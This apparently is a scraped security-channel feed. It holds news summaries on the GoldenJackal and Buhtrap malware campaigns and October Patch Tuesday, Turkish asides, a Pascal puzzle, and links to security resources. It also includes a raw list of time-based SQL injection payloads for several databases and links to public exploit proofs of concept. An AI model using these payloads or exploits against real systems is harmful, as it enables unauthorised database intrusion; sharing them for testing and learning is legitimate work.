ForenSec

Sektörün devamlılığına olan güvenim azaldığında gelip buraya bakıyorum :)

ESET researchers report activity from the GoldenJackal spyware APT, linked to a series of cyber attacks targeting diplomatic and government organizations across Europe , infiltrating isolated systems using specialized malware. The APT was first discovered by Kaspersky Lab researchers, who uncovered the threat actor in May 2023 after closely monitoring its activity in the Middle East and South Asia. An important feature of the intrusions is the use of the JackalWorm worm, which is capable of infecting connected USB drives and delivering the JackalControl Trojan. ESET detected GoldenJackal artifacts in the attack on the South Asian embassy in Belarus in August and September 2019, and again in July 2021. What is of particular interest is how GoldenJackal managed to deploy a completely updated set of tools from May 2022 to March 2024 in an attack on a government agency in the EU. Three different malware families were spotted in the South Asian Embassy incident, in addition to JackalControl, JackalSteal, and JackalWorm. Among them: - GoldenDealer: used to deliver executable files to an isolated system via hacked USB drives; - GoldenHowl: a modular backdoor with the ability to steal files, create scheduled tasks and an SSH tunnel, and upload/download files; - GoldenRobo: A Go file collection and data exfiltration tool that relies on the legitimate Windows robocopy utility. However, the incident involving an unnamed EU entity involved a completely new set of malicious tools, mostly written in Go. All of them are designed to distribute malware and steal files via USB drives, exfiltrate data, and create intermediate servers to distribute payloads to other hosts. Among them: - GoldenUsbCopy and its improved version GoldenUsbGo: monitor USB drives and copy files to retrieve them; - ackal, related to used to distribute malware, including a lightweight version of JackalWorm, to other systems via USB; - GoldenBlacklist and its Python implementation GoldenPyBlacklist: designed to process and steal emails of interest; - GoldenMailer: sends stolen information to attackers via email; - GoldenDrive: Uploads stolen information to Google Drive. It is currently unknown how GoldenJackal manages to implement initial infections to compromise target environments. However , Kaspersky Lab researchers previously suggested the use of trojanized Skype installers and malicious Microsoft Word documents. In addition, the exact mechanism of GoldenDealer distribution is also unclear. It is activated when a USB drive is connected, causing itself and an unknown component of the worm to be copied to the removable device. It is assumed that the unknown component is launched when an infected USB is connected to an isolated system, after which GoldenDealer saves information about the machine to the USB drive, from which later, when connected to a host with the Internet, the information flies to an external server, which then responds with the appropriate payloads to launch in the isolated system. The malware is also responsible for copying the downloaded executable files to the USB drive. In the final step, when the device is reconnected to the isolated machine, GoldenDealer takes the copied executable files and runs them. In turn, GoldenRobo also runs on an Internet-connected PC and is equipped with functionality for extracting files from a USB drive and transferring them to a controlled server. According to ESET, a separate module that would be responsible for copying files from an isolated computer to the USB drive itself still needs to be found and studied. But overall, it can be concluded that GoldenJackal is a fairly sophisticated attacker who is well aware of all the nuances of segmenting the networks of his victims.

FACCT researchers warn of a return after a year of silence from the Russian-speaking cybercriminal syndicate Buhtrap, uncovering new campaigns targeting Russian financial and legal firms. Buhtrap is the name of both the malware and the criminal group that originally used it in their attacks. The first attacks on financial institutions were recorded back in August 2015, and the group itself has been active since at least 2014. The main vector for penetrating corporate networks at that time were phishing emails on behalf of the Bank of Russia or its representatives. Later, hacked or fake specialized accounting resources began to be used, where the first stage of malware infection was implemented under the guise of forms or document templates. The damage from Buhtrap attacks for the period 2020-2022 alone was estimated at almost 2 billion rubles, and the global damage for all years of its activity could reach 6-7 billion rubles. The last activity was observed in April 2023. A year later, during the investigation of an incident involving the download of a malicious object onto a client's device, FACCT experts discovered new artifacts of criminal cyber activity: the malicious instance in the archive was attributed as Buhtrap RAT. After the incident was detected, additional analysis of the executable instance contained in the archive was initiated. The zip archive contains the first stage loader named Document #[0-9].exe. When the executable file was launched, a second-stage dropper was unpacked, which launched Wordpad.exe with an empty document. The next stage would only start after the user closed the wordpad window, which is typically used to bypass sandboxes. Buhtrap RAT was saved to disk and registered in startup, namely in the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run , the path to RAT: %userprofile%\AppData\Local\%dir_name%\%samplename%.exe. The directory name and RAT name are randomly generated in Latin. In this campaign, the Buhtrap RAT is an executable .exe file, while in the 2023 campaign it was a .dll file that was unpacked and launched in the memory of the rundll32.exe process. During the check it was found that the malicious archive was downloaded by the user via a web browser. It turned out that the user was simply searching for a document template in Yandex, and ended up downloading a malicious archive. An analysis of the campaign showed that, overall, the new scheme is practically no different from the campaign in March-April 2023. As before, decoy sites were created, disguised as specialized resources for accountants and lawyers. In total, three web resources were found that were involved in the current campaign and were in the top lines of search results: - astrayurist[.]rf (registered 2024-07-26); - fin-balance[.]rf (registered 2024-07-26); - financialbalance[.]rf (registered 2024-07-25). In addition, another resource was discovered – legalresolve[.]rf , which was not used by the attackers within this company, but is associated with the above-mentioned domains. Indicators of compromise are in the report .

Microsoft's PatchTuesday for October has arrived with fixes for 118 vulnerabilities, including five zeros, two of which are actively exploited. Three critical vulnerabilities have been fixed, all of which are related to remote code execution, and the overall distribution of errors by category is as follows: 28 - EoP, 7 - Security Function Bypass, 43 - RCE, 6 - Information Disclosure, 26 - DoS, 7 - Spoofing. Among the exploited zeros are: CVE-2024-43573 and CVE-2024-43572 . The first is a vulnerability in the Windows MSHTML platform, previously used by Internet Explorer and the legacy Microsoft Edge, components of which are still present in Windows. Microsoft has not released details about the bug or how it is being exploited or who disclosed it. There is speculation that the bug may be a workaround for a previous vulnerability that used MSHTML to spoof file extensions in alerts displayed when files are opened. The second, CVE-2024-43572, is described as a vulnerability in the Microsoft Management Console that allows malicious Microsoft Saved Console (MSC) files to be used to achieve remote code execution on vulnerable devices. Microsoft fixed the vulnerability by blocking the opening of untrusted MSC files. It is also not yet known how the flaw was used in real attacks. The remaining three zeros that were publicly disclosed but not seen in attacks are tracked as CVE-2024-6197 , CVE-2024-20659 , and CVE-2024-43583 . CVE-2024-6197 - Curl Remote Code Execution Vulnerability. Microsoft addressed the vulnerability by updating the libcurl library used by the Curl executable that ships with Windows. The vulnerability was discovered by a researcher nicknamed z2_, who shared technical details in a report to HackerOne. The second, CVE-2024-20659, is a Windows Hyper-V security feature bypass vulnerability. On some specific hardware, UEFI can be bypassed, which can lead to compromise of the hypervisor and secure kernel. Microsoft says the vulnerability requires physical access to the device and a reboot to exploit. It was discovered by researchers at Quarkslab. And finally, the third CVE-2024-43583 is an EoP in Winlogon that could grant attackers SYSTEM privileges in Windows. It was discovered by researchers from pwnull. Microsoft says administrators need to take additional steps to protect against this vulnerability. To mitigate this vulnerability, you must enable Microsoft's native Input Method Editor on your device. This will protect your device from potential vulnerabilities associated with a third-party (3P) IME during the sign-in process. A full description of each vulnerability and the systems it affects is available here .

Yakında bozuk veritabanlarınız onarılır diye ilan vericem. Memlekette hiç mi sql bilen yok. Hizmet alınan firmalar topu üzerinden atıp “biz anlamayız” deyip geçiyor.

Türkçesini okumak isteyenler için; https://drdisklab.com/yeni-bios-uefi-bios-2-0/

program DigitalRoot; var num, root: integer; function SumOfDigits(n: integer): integer; var sum, rem: integer; begin sum := 0; while n > 0 do begin rem := n mod 10; sum := sum + rem; n := n div 10; end; SumOfDigits := sum; end; begin write('Enter a number: '); readln(num); root := num; while (root >= 10) do begin { Lost Row } end; writeln('The digital root is: ', root); end.

UEFI is the new BIOS https://www.leviathansecurity.com/blog/uefi-is-the-new-bios

MIT's "Mathematics for Computer Science" book. 1048 pages Available for free https://courses.csail.mit.edu/6.042/spring18/mcs.pdf

Kanal abone sayısı 5K olursa İbrahim Baloğlu’nun “Siber Olaylara Müdahale Eğitimi” 5 kişiye ücretsiz verilecek. Hadi bakalım parmaklar çalışsın biraz :)

#Fuzzing Effective Fuzzing: A Dav1d Case Study https://googleprojectzero.blogspot.com/2024/10/effective-fuzzing-dav1d-case-study.html

#tools #Threat_Research SMTP Downgrade Attacks and MTA-STS https://alexsci.com/blog/smtp-downgrade-attacks-and-mta-sts ]-> MTA-STS Auditor: https://github.com/ralexander-phi/mta-sts-sender-audit

timebased payloads for different dbms:

XOR(if(now()=sysdate(),sleep(7),0))XOR%23 'or sleep(7)--# 'or sleep(7)# 'or sleep(7)='# 'or sleep(7)='-- '/*F*/or/*F*/sleep(7)=' 'or sleep(7)--%23 'or sleep(7)%23 'or sleep(7);%00 or sleep(7)--+- or sleep(7)# '/*f*/or/*f*/sleep/*f*/(7)--# '/*f*/or/*f*/sleep/*f*/(7)# or sleep(7)%23 '/*f*/or/*f*/sleep/*f*/(7)--%23 '/*f*/or/*f*/sleep/*f*/(7)%23 '/*f*/or/*f*/sleep/*f*/(7);%00 or/*f*/sleep/*f*/(7)--+- or/*f*/sleep/*f*/(7)# 'XOR(if(now()=sysdate(),sleep(7),0))XOR' 'OR(if(now()=sysdate(),sleep(7),0))--# 'OR(if(now()=sysdate(),sleep(7),0))# or/*f*/sleep/*f*/(7)%23 'OR(if(now()=sysdate(),sleep(7),0))--%23 'OR(if(now()=sysdate(),sleep(7),0))%23 'OR(if(now()=sysdate(),sleep(7),0));%00 OR(if(now()=sysdate(),sleep(7),0))--+- OR(if(now()=sysdate(),sleep(7),0))# OR(if(now()=sysdate(),sleep(7),0))%23 'WAITFORDELAY'0:0:7';%00 'WAITFORDELAY'0:0:7'# 'WAITFORDELAY'0:0:7'%23 'WAITFORDELAY'0:0:7';%00 WAITFORDELAY'0:0:7'# WAITFORDELAY'0:0:7'%23 WAITFORDELAY'0:0:7'--+- 'WAITFORDELAY'0:0:7'--+- 'WAITFORDELAY'0:0:7'=' \/*F*/or/*f*/sleep(7)%23 '/*f*/OR/*f*/pg_sleep(7)# '/*f*/OR/*f*/pg_sleep(7)%23 '/*f*/OR/*f*/pg_sleep(7);%00 /*f*/OR/*f*/pg_sleep(70)--+- /*f*/OR/*f*/pg_sleep(70)# /*f*/OR/*f*/pg_sleep(70)%23 '/*f*/OR/*f*/pg_sleep(7)=';%00 \)/*F*/or/*f*/sleep(7)%23 \)/*F*/or/*f*/sleep(7)%23 %E2%84%A2%27/*F*/or/*f*/sleep(7)%23 %E2%84%A2%27/*F*/or/*f*/pg_sleep(7)%23 %E2%84%A2%22/*F*/or/*f*/pg_sleep(7)%23 %E2%84%A2%22/*F*/or/*f*/sleep(7)%23 %E2%84%A2%22/*F*/or/*f*/sleep(7)--+- %E2%84%A2\)/*F*/or/*f*/sleep(7)--+- %E2%84%A2%27)/*F*/or/*f*/sleep(7)--+- %E2%84%A2'/*F*/or/*f*/sleep(7)=' %E2%84%A2')/*F*/or/*f*/sleep(7)='

👆 Web Application Penetration Testing: XSS Attacks | #INE #XSS information : https://my.ine.com/CyberSecurity/courses/f0ccd609/web-application-penetration-testing-xss-attacks

#reversing 1. Reversing VMCrack https://blog.deobfuscate.io/reversing-vmcrack 2. Reversing and Dismantling Kekz Headphones https://nv1t.github.io/blog/kekz-headphones

#exploit 1. CVE-2024-38816: Spring Framework 6.0.3 path traversal https://github.com/masa42/CVE-2024-38816-PoC 2. CVE-2024-7481: TeamViewer User to Kernel EoP https://github.com/PeterGabaldon/CVE-2024-7479_CVE-2024-7481 3. CVE-2024-7479/26304: Critical RCE in HPE Aruba Devices https://github.com/Roud-Roud-Agency/CVE-2024-26304-RCE-exploits